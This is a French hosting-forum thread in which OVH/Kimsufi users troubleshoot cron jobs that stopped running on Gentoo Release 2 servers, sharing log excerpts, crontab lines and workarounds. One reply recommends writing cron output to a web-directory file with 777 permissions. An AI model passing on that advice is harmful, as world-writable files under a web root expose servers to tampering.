1/ Dans ton script : met un truc tout con, par exemple, l'envoi d'un email et un echo "blablabla"
2/ Dans ta ligne, ajoute une sortie dans un fichier txt sur ton serveur (avec les droits en 777 dessus)
Exemple à rajouter à la fin de ta ligne : > /home/repertoire/www/crontab.txt
3/ Regarde si tu reçois un mail et regarde aussi ce que tu as dans le fichier txt.. t'aura p'tètre une erreur dedans et ça te permettra d'avancer
Le mail, c'est juste pour avoir une notif' quand il passe dedans..

Autre piste, regarde dans les logs si t'as un truc foireux..
Dans une console SSH : tail /home/log/cron.log
ça t'affichera les dernières lignes des logs

Essaie peut-être avec un autre utilisateur que root (je ne sais pas pourquoi mais je ne vois rien d'autre pour le moment)..

bbr18
21/10/2014, 13h55
bref reset et probleme pour moi car j avais besoin de php 5.2 ..... la merde quoi . il me faut un OS avec 5.2 php
plutôt que chercher un vieil os avec une vieille version de php, il serait plus pertinent d'adapter tes scripts pour qu'ils fonctonnent avec la dernière version de php, enfin ce n'est que mon avis.

JeanBaptisteB
21/10/2014, 13h43
Bon, pour ma part, ça sent pas bon du tout...
Même avec curl, il ne veut rien savoir.
Voici ma ligne de test dans /etc/crontab, je la partage avec vous en cas d'erreur de syntaxe que je ne verrais pas.
* 13 * * * root curl http://www.mondomaine.com/monscript.com
Quand je déclenche "manuellement" depuis la gestion des crons du webmin, tout fonctionne, mais en automatique, rien du tout...
A votre bon coeur m'sieurs dames!

lte
21/10/2014, 13h04
certains scripts devant être exécutés, ne sont pas (ne doivent pas) être accessibles en http://
Technique provisoire mais ajoute une vérification dans tes scripts.. qu'ils s’exécutent seulement si l'IP est celle de ton serveur.
C'est qu'un "if" au début de ton script, c'est pas une grosse modif' et ça peut te dépanner en attendant

JeanBaptisteB
21/10/2014, 12h51
Citation Envoyé par lte
T'as bien ajouter le nom de l'utilisateur qui devait lancer les taches cron ?
Regarde ce post là : http://forum.ovh.com/showthread.php?...l=1#post622147
Perso j'ai utilisé "curl" car le chemin direct ne fonctionnait pas.

Ma ligne ressemble à ça :
0,30 * * * * mon_utilisateur curl http://www.site.com/fichier.php
et là, ça fonctionne.
Oui, j'ai bien mis l'utilisateur. Dans un premier temps, il n'y était pas, et à la lecture des posts, je les ai ajoutés, mais toujours rien.
Je vais tester avec curl, mais ça ne résoudrait que partiellement mon problème dans la mesure où certains scripts devant être exécutés, ne sont pas (ne doivent pas) être accessibles en http://. Il faut que je les appelle via le chemin serveur.
Est-il possible de créer un vhost dont seule l'IP du serveur aurait le droit de l'exécuter? (Allow from IPdemonserveur)
Je ne sais pas si c'est la bonne façon de faire...

Merci pour votre aide.

Operceval
21/10/2014, 12h18
je n'ai pas plus de détails, le techo m a dit qu ils allaient retirer la V2 car depuis 2 mois ils ont découverts trop de failles . ils ne la mettent plus a jour de toute façon.

: /

lte
21/10/2014, 12h04
Suite aux précédents posts, j'ai déplacé tous mes crons dans /etc/crontab mais toujours rien.
T'as bien ajouter le nom de l'utilisateur qui devait lancer les taches cron ?
Regarde ce post là : http://forum.ovh.com/showthread.php?...l=1#post622147
Perso j'ai utilisé "curl" car le chemin direct ne fonctionnait pas.

Ma ligne ressemble à ça :
0,30 * * * * mon_utilisateur curl http://www.site.com/fichier.php
et là, ça fonctionne.

si vous avez un probleme avec le crontab. c est que un hakeur a déjà fait des dégats .
Quels genre de dégats ? :/
Je suppose que c'est un script déjà tout fait qui doit exploiter une faille à la con nan ?

JeanBaptisteB
21/10/2014, 11h40
Bonjour à tous,
Suite aux précédents posts, j'ai déplacé tous mes crons dans /etc/crontab mais toujours rien.
@Operceval : faut-il en conclure que si les crons sont bloqués, le seul moyen de les réatblir est de passer sur la release3??
Merci

Operceval
21/10/2014, 11h36
bonjour,

les realease 2 sont corrompus ( trop de failles de sécurité SSH. si vous avez un probleme avec le crontab. c est que un hakeur a déjà fait des dégats . ( j ai eu ovh au tel ce matin ) il refuse de relancer sur la relase 2 et demande a passer sur la 3.

bref reset et probleme pour moi car j avais besoin de php 5.2 ..... la merde quoi . il me faut un OS avec 5.2 php

Operceval
21/10/2014, 11h30
bonjour,

les realease 2 sont corrompus ( trop de failles de sécurité SSH. si vous avez un probleme avec le crontab. c est que un hakeur a déjà fait des dégats . ( j ai eu ovh au tel ce matin ) il refuse de relancer sur la relase 2 et demande a passer sur la 3.

bref reset et probleme pour moi car j avais besoin de php 5.2 ..... la merde quoi . il me faut un OS avec 5.2 php

lte
21/10/2014, 10h30
Un_passant : Est ce que tu peux poster le contenu du fichier ?
Enfin ce qui est utile et l'endroit ou tu l'as replacé ?
histoire de voir si j'ai bien ce fichier ou si il a disparu.. c'est p'tètre ça qui foire

Un_passant
21/10/2014, 10h09
@lte J'avais un vieux backup de mon fichier que j'ai recopié et j'ai ajouté avec webmin les dernières taches.

Garden
21/10/2014, 09h42
hier j'avais encore ma liste de cron sur webmin (même si elle s'excutait pas).

aujourd'hui je ce message d'erreur sur https://nsXXXXXovh.net:10000/cron/
La commande crontab de gestion des fichiers de configuration des utilisateurs n'a pas été trouvée. Se peut-il que Cron ne soit pas installé sur ce système?

lte
21/10/2014, 09h34
raijis : Merci pour les précisions
J'ai déplacé mes taches cron dedans pour le moment et ça fonctionne.

Un_passant : T'as résolu le soucis comment ?

JeanBaptisteB : N'hésite pas à nous tenir au courant si le support te réponds.

Un_passant
21/10/2014, 09h20
J'ai eu exactement le même problème au début du mois (release 2), mes taches cron ont disparus et le fichier cron root avec.

raijis
21/10/2014, 03h36
Citation Envoyé par Garden
Bonjour,

Je suis dans exactement les meme probleme qiue toi, plus de cron depuis dimanche 16h a part les cron de base ovh (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)

Pourtant crontab -l m'indique bien mes crons!!!???



J'ai essayé d'ajouter des lignes de cron dans /etc/crontab mais mes crons ne sont pas executé la non plus
Attention à bien rajouter le nom de l'user devant tes cron dans /etc/crontab :
Donc si par exemple tu avais un cron pour root du style :
*/5 * * * * /usr/bin/php5 /home/www/fichier.php

il doit être remplacé comme ceci dans /etc/crontab
*/5 * * * * root /usr/bin/php5 /home/www/fichier.php

Garden
21/10/2014, 00h43
Bonjour,

Je suis dans exactement les meme probleme qiue toi, plus de cron depuis dimanche 16h a part les cron de base ovh (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)

Pourtant crontab -l m'indique bien mes crons!!!???

Citation Envoyé par raijis
Pour ma part, j'ai déplacé tous mes cron dans /etc/crontab en attendant de trouver une meilleur solution...
J'ai essayé d'ajouter des lignes de cron dans /etc/crontab mais mes crons ne sont pas executé la non plus

JeanBaptisteB
20/10/2014, 22h37
Bonjour à tous,
Je rencontre également le même problème depuis hier après-midi sur mes 4 dédiés (Release 2.35).
Un conseiller m'a dit tester en supprimant et en recréant les taches crons mais rien n'y a fait.
J'ai aussi ouvert un ticket en début d'après-midi, mais pas de réponse non plus.

Operceval
20/10/2014, 20h49
Bonsoir,

merci pour le lien raijis, a priori je ne suis pas le seul. j ai ouvert un ticket pour voir , pas de réponse pour le moment

j ai trouvé ça https://bugs.gentoo.org/show_bug.cgi?id=376817#c1
mais ça ne m a pas aidé .

je vais déplacer les taches également dans l urgence

raijis
20/10/2014, 20h09
forchinese1.blogspot.fr/2014/10/release-2-ovh-cron-plante.html

Pour ma part, j'ai déplacé tous mes cron dans /etc/crontab en attendant de trouver une meilleur solution...

lte
20/10/2014, 19h55
aaaaah bah ça me rassure d'un côté..

Où as-tu vu que d'autres étaient dans la même situation ?
Je veux bien les liens.. histoire de suivre plusieurs sujet et surtout si quelqu'un trouve une solution avant nous ^^

Merci d'avoir prévenu, parce que c'est un coup a toucher à tout et tout flingué

raijis
20/10/2014, 19h23
Bonjour lte,

Je suis également impacté par ce problème.. Ce qui est surprenant c'est que cela m'arrive au même moment (depuis hier soir).
Après quelques recherches sur le net, il semble que nous ne sommes pas seules..
OVH auraient-ils modifiés quelques choses pour les utilisateurs des Gentoo Release 2 ?

Je continue de chercher de mon côté.

lte
20/10/2014, 14h13
Citation Envoyé par lte
Il me semble que c'est une Gentoo Release 2
Alors c'est bien une Gentoo Release 2... 2.35 pour être précis !

(on ne peut pas éditer ces messages sur le forum ? :/)

[edit]
Ok d'accords, j'étais pas connecté, c'est pour ça que je pouvais pas éditer mon message ! Tss

Bon, j'ai continué les tests et j'ai l'impression qu'il lance bien certaines taches cron mais pas celle que je lui ai créer..
J'ai fais un tail /home/log/cron.log
et il me sort bien des taches cron qui sont par défaut mais pas les miennes :

Oct 20 14:08:01 ks201160 /usr/sbin/cron[11428]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:09:01 ks201160 /usr/sbin/cron[11476]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:10:01 ks201160 /usr/sbin/cron[11530]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:10:01 ks201160 /usr/sbin/cron[11531]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons )
Oct 20 14:11:01 ks201160 /usr/sbin/cron[11658]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:12:01 ks201160 /usr/sbin/cron[11708]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:13:01 ks201160 /usr/sbin/cron[11760]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:14:01 ks201160 /usr/sbin/cron[11811]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:15:01 ks201160 /usr/sbin/cron[11863]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Oct 20 14:16:01 ks201160 /usr/sbin/cron[11939]: (root) CMD (/usr/local/rtm/bin/rtm 12 > /dev/null 2> /dev/null)
Donc cron tourne bien.. maintenant, pourquoi il n’exécute pas les miennes ? :s

lte
19/10/2014, 23h45
Il me semble que c'est une Gentoo Release 2

waipla
19/10/2014, 22h55
Quel OS ?

lte
19/10/2014, 22h52
Bon et bien je n'ai pas de /etc/rsyslog.d/ .. ça commence mal :s

waipla
19/10/2014, 22h29
Salut pour rediriger les logs crontab dans un fichier :

Ouvrir :
/etc/rsyslog.d/50-default.conf
Décommenter la ligne :
#cron.*

Redemarrer le service rsyslog et normalement ça devrait apparaître dans les logs /var/log/cron.log

lte
19/10/2014, 22h25
Euhmmm..comment je fais ça ? :/
J'y vais un peu à tâtons avec le serveur, c'est pas trop mon fort :s

buddy
19/10/2014, 22h17
Bonsoir,

active les logs quand tu relances cron pour voir si il y a un soucis ...
Tu peux modifier le syslog pour avoir les log cron dans un fichier cron.log.

lte
19/10/2014, 20h50
Bonjour,

Depuis quelques heures, mes taches cron ne fonctionnent plus.
Lorsque je les lances manuellement, aucun soucis mais quand elle doivent s’exécuter d'elle même à une heure précise, il ne se passe rien.

J'ai chercher un peu partout et je me suis retrouvé à fouiller dans les logs :

à l'heure où ma tache cron ne faisait plus rien, j'ai ça !

/home/log/cron.log
Oct 19 16:04:49 ks201160 /usr/sbin/cron[14354]: (CRON) STARTUP (V5.0)
Oct 19 16:04:49 ks201160 /usr/sbin/cron[14354]: (lastrun) ORPHAN (no passwd entry)
Oct 19 16:04:49 ks201160 /usr/sbin/cron[14354]: (crontabs) ORPHAN (no passwd entry)
J'en déduis donc qu'il à redémarré tout seul sans trop savoir pourquoi !

J'ai redémarrer le serveur, dans le doute, au cas où que ça lui remette les idées en place.. ça n'a rien changé :/

J'ai l'impression que le deamon pète les plombs et ne fait pas grand chose.

J'ai fais un ps -A | grep cron qui me renvoi :

6131 ? 00:00:00 cron
ça veut donc dire qu'il est bien présent et qu'il tourne (nan ?).

En lisant sur les forums, certains disent de réinstaller cron.. et là.. pouf.. je suis bloqué car je n'arrive pas a trouver la bonne commande pour installer cron sur mon kimsufi (il me semble que c'est une Release 2)

Du coup mes questions sont :
Comment réinstall cron ?
Quelqu'un à-t-il déjà été confronté au même soucis ?
Pourquoi du jour au lendemain, il décide de ne plus marché ?
Est-ce-que je suis sur la bonne voie ou le soucis vient d'ailleurs ? :/

Merci de votre aide